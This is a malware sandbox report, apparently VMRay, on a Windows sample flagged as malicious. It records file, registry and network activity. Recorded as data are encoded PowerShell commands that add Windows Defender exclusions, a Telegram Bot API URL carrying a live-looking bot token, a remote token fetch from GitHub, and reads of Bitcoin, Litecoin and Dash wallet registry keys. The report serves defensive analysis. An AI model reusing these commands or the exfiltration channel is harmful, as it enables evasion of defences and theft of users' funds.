C:\Users\RDhJ0CNFevzX\Documents\WindowsPowerShell\Modules Accessed File Access CLEAN
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Reduced dataset

C:\Program Files\Windows Photo Viewer\active-charge.exe Accessed File Access CLEAN

C:\Program Files (x86)\Windows Multimedia
Platform\yahoomessenger.exe

Accessed File Access CLEAN

C:\Program Files\Windows NT\winscp.exe Accessed File Access CLEAN

C:\Program Files\WindowsPowerShell\Modules Accessed File Access CLEAN

C:\Windows\system32\WindowsPowerShell\v1.0\Modules Accessed File Access CLEAN

C:\Program Files (x86)\Windows Multimedia Platform\whatsapp.exe Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\AppBackgroun
dTask

Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\AppBackgroun
dTask\AppBackgroundTask.psd1

Accessed File Access CLEAN

c:\windows\system32\windowspowershell\v1.0\Modules\AppLocker Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\AppLocker\Ap
pLocker.psd1

Accessed File Access CLEAN

c:\windows\system32\windowspowershell\v1.0\Modules\Appx Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\Appx\Appx.ps
d1

Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\AssignedAcce
ss

Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\AssignedAcce
ss\AssignedAccess.psd1

Accessed File Access CLEAN

c:\windows\system32\windowspowershell\v1.0\Modules\BitLocker Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\BitLocker\BitL
ocker.psd1

Accessed File Access CLEAN

c:\windows\system32\windowspowershell\v1.0\Modules\BitsTransfer Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\BitsTransfer\B
itsTransfer.psd1

Accessed File Access CLEAN

C:\Program Files (x86)\Windows NT\webdrive.exe Accessed File Access CLEAN

c:\windows\system32\windowspowershell\v1.0\Modules\BranchCache Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\BranchCache\
BranchCache.psd1

Accessed File Access CLEAN

c:\windows\system32\windowspowershell\v1.0\Modules\CimCmdlets Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\CimCmdlets\
CimCmdlets.psd1

Accessed File Access CLEAN

c:\windows\system32\windowspowershell\v1.0\Modules\Defender Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\Defender\Defe
nder.psd1

Accessed File Access CLEAN

c:
\windows\system32\windowspowershell\v1.0\Modules\DirectAccess
ClientComponents

Accessed File Access CLEAN
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http://ip-api.com/line/?fields=hosting - 208.95.112.1 - GET CLEAN

http://ip-api.com/json - 208.95.112.1 - GET CLEAN

https://raw.githubusercontent.com/epicls/epicls/
main/bttkn.txt

- 185.199.108.133 - GET CLEAN

https://api.telegram.org/
bot5183965885:AAGm81IThm_mQ0uUlZYxOJH
gWhcsZKUk7xI/getMe

- 149.154.167.220 - GET CLEAN

ip-api.com 208.95.112.1 - DNS, HTTP CLEAN

raw.githubusercontent.com
185.199.111.133, 185.199.108.133,
185.199.110.133, 185.199.109.133

- HTTPS, DNS CLEAN

api.telegram.org 149.154.167.220 - HTTPS, DNS CLEAN

192.168.0.1 - - UDP, DNS CLEAN

208.95.112.1 ip-api.com United States DNS, HTTP, TCP CLEAN

185.199.108.133 raw.githubusercontent.com United States HTTPS, DNS, TCP CLEAN

149.154.167.220 api.telegram.org United Kingdom HTTPS, DNS, TCP, TLS CLEAN

185.199.111.133 raw.githubusercontent.com United States DNS CLEAN

185.199.110.133 raw.githubusercontent.com United States DNS CLEAN

185.199.109.133 raw.githubusercontent.com United States DNS CLEAN

9D16FBEF0D8A8F87529DE06A1C43C737 access applaunch.exe CLEAN

Global\PowerShell_CommandAnalysis_Lock_S-1-5-21-1560258661-3
990802383-1811730007-1000

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time

access powershell.exe, applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time\TZI

read, access powershell.exe, applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic
DST

access powershell.exe, applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard
Time\MUI_Display

read, access powershell.exe, applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Std

read, access powershell.exe, applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Dlt

read, access powershell.exe, applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time

access applaunch.exe CLEAN
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\TZI

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\FirstEntry

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\LastEntry

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\2010

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\2011

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\2012

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\2013

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\2014

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\Dynamic
DST\2015

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\MUI_Display

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\MUI_Std

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\Russian Standard Time\MUI_Dlt

read, access applaunch.exe CLEAN

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Sy
stem

access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\DisableUNCCheck

read, access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\EnableExtensions

read, access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\DelayedExpansion

read, access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\DefaultColor

read, access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\CompletionChar

read, access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\PathCompletionChar

read, access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\AutoRun

read, access cmd.exe CLEAN

HKEY_CURRENT_USER\Software\Microsoft\Command Processor access cmd.exe CLEAN

HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\DisableUNCCheck

read, access cmd.exe CLEAN

HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\EnableExtensions

read, access cmd.exe CLEAN

HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\DelayedExpansion

read, access cmd.exe CLEAN
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HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\DefaultColor

read, access cmd.exe CLEAN

HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\CompletionChar

read, access cmd.exe CLEAN

HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\PathCompletionChar

read, access cmd.exe CLEAN

HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\AutoRun

read, access cmd.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
AppContext

access powershell.exe, applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\InstallationType

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319\SchUseStrongCrypto

read, access applaunch.exe CLEAN

HKEY_CURRENT_USER access applaunch.exe CLEAN

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current
Version\Internet Settings\Connections

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Internet Settings\Connections

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
\CurrentVersion\Internet Settings

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
LegacyWPADSupport

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319\HWRPortReuseOnSocketBind

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer
sion\WSMAN

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer
sion\WSMAN\ServiceStackVersion

read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerS
hellEngine

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerS
hellEngine\ApplicationBase

read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Po
werShell\ModuleLogging

access powershell.exe CLEAN

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Po
werShell\ModuleLogging

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Po
werShell\Transcription

access powershell.exe CLEAN

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Po
werShell\Transcription

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Sessi
on Manager\Environment

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Sessi
on Manager\Environment\PSMODULEPATH

read, access powershell.exe CLEAN

HKEY_CURRENT_USER\Environment access powershell.exe CLEAN

HKEY_CURRENT_USER\Environment\PSMODULEPATH read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog

access powershell.exe CLEAN
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HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Application

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Application\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\HardwareEvents

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\HardwareEvents\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Internet Explorer

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Internet Explorer\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Key Management Service

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Key Management Service\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\OAlerts

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\OAlerts\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Security

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Security\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\System

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\System\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Windows PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ev
entLog\Windows PowerShell\PowerShell

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Sessi
on Manager\Environment\__PSLockdownPolicy

read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\She
llIds

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\She
llIds\PipelineMaxStackSizeMB

read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Po
werShell\ScriptBlockLogging

access powershell.exe CLEAN

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Po
werShell\ScriptBlockLogging

access powershell.exe CLEAN

HKEY_CURRENT_USER\SOFTWARE\Microsoft\.NETFramework\
XML

access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
XML

access powershell.exe CLEAN

HKEY_CURRENT_USER\Software access applaunch.exe CLEAN

HKEY_CURRENT_USER\Software\Litecoin access applaunch.exe CLEAN

HKEY_CURRENT_USER\Software\Dash access applaunch.exe CLEAN

HKEY_CURRENT_USER\Software\Bitcoin access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\AddressBook

access applaunch.exe CLEAN
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\AddressBook\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\Connection Manager

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\Connection Manager\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\DirectDrawEx

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\DirectDrawEx\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\DXM_Runtime

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\DXM_Runtime\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\Fontcore

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\Fontcore\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IE40

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IE40\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IE4Data

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IE4Data\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IE5BAKEX

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IE5BAKEX\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IEData

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\IEData\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\MobileOptionPack

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\MobileOptionPack\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\MPlayer2

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\MPlayer2\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\SchedulingAgent

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\SchedulingAgent\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\WIC

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\WIC\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{0FA68574-690B-4B00-89AA-B28946231449}

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{0FA68574-690B-4B00-89AA-
B28946231449}\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{0FA68574-690B-4B00-89AA-
B28946231449}\DisplayVersion

read, access applaunch.exe CLEAN
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{0FA68574-690B-4B00-89AA-
B28946231449}\InstallLocation

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}
\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}
\DisplayVersion

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}
\InstallLocation

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2151757

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2151757\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2467173

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2467173\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2524860

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2524860\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2544655

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2544655\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2549743

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2549743\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2565063

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB2565063\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB982573

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{1D8E6291-
B0D5-35EC-8441-6616F567A0F7}.KB982573\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{2BC3BD4D-
FABA-4394-93C7-9AC82A263FE2}\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{2BC3BD4D-
FABA-4394-93C7-9AC82A263FE2}\DisplayVersion

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{2BC3BD4D-
FABA-4394-93C7-9AC82A263FE2}\InstallLocation

read, access applaunch.exe CLEAN
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}
\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}
\DisplayVersion

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}
\InstallLocation

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{3c3aafc8-d898-43ec-998f-965ffdae065a}

access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{3c3aafc8-d898-43ec-998f-965ffdae065a}
\DisplayName

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{3c3aafc8-d898-43ec-998f-965ffdae065a}
\DisplayVersion

read, access applaunch.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Uninstall\{3c3aafc8-d898-43ec-998f-965ffdae065a}
\InstallLocation

read, access applaunch.exe CLEAN

a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5
ef6f9.exe

"C:
\Users\RDhJ0CNFevzX\Desktop\a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c15851
9a5ef6f9.exe" 

MALICIOUS

chiefkeefofficialnaxyi_crypted(6).exe C:\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe MALICIOUS

34432.exe C:\Users\RDhJ0CNFevzX\AppData\Roaming\34432.exe MALICIOUS

applaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" SUSPICIOUS

cmd.exe

"cmd" cmd /c powershell -EncodedCommand
"QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAa
QBvAG4AUABhAHQAaAAgAEAAK...
...BuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAB
AACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit

CLEAN

powershell.exe

powershell -EncodedCommand
"QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAa
QBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlA
CwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" 

CLEAN

powershell.exe

powershell -EncodedCommand
"QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAa
QBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAn
ACkAIAAtAEYAbwByAGMAZQA=" 

CLEAN
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YARA / AV

No YARA or AV matches available.
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ENVIRONMENT

Virtual Machine Information

Platform Information

Software Information

System Information

Name win10_64_th2_en_mso2016

Description win10_64_th2_en_mso2016

Architecture x86 64-bit

Operating System Windows 10 Threshold 2

Kernel Version 10.0.10586.0 (0de6dc23-8e19-4bb7-8608-d54b1e6fa379)

Network Scheme Name Local Gateway

Network Config Name Local Gateway

Platform Version 4.4.1

Dynamic Engine Version 4.4.1 / 01/14/2022 05:06

Static Engine Version 4.4.1.0 / 2022-01-14 04:00:58

AV Exceptions Version 4.4.1.6 / 2021-12-14 15:06:27

Link Detonation Heuristics Version 4.4.1.16 / 2022-03-11 16:16:43

Smart Memory Dumping Rules
Version

4.4.1.6 / 2021-12-14 15:06:27

Signature Trust Store Version 4.4.1.6 / 2021-12-14 15:06:27

VMRay Threat Identifiers Version 4.4.1.16 / 2022-03-11 16:16:43

YARA Built-in Ruleset Version 4.4.1.16

Adobe Acrobat Reader Version Not installed

Microsoft Office 2016

Microsoft Office Version 16.0.4266.1003

Hangul Office Not installed

Hangul Office Version Not installed

Internet Explorer Version 11.0.10586.0

Chrome Version Not installed

Firefox Version Not installed

Flash Version Not installed

Java Version Not installed

Sample Directory C:\Users\RDhJ0CNFevzX\Desktop

Computer Name XC64ZB

User Domain XC64ZB

User Name RDhJ0CNFevzX

User Profile C:\Users\RDhJ0CNFevzX

Temp Directory C:\Users\RDHJ0C~1\AppData\Local\Temp

System Root C:\Windows
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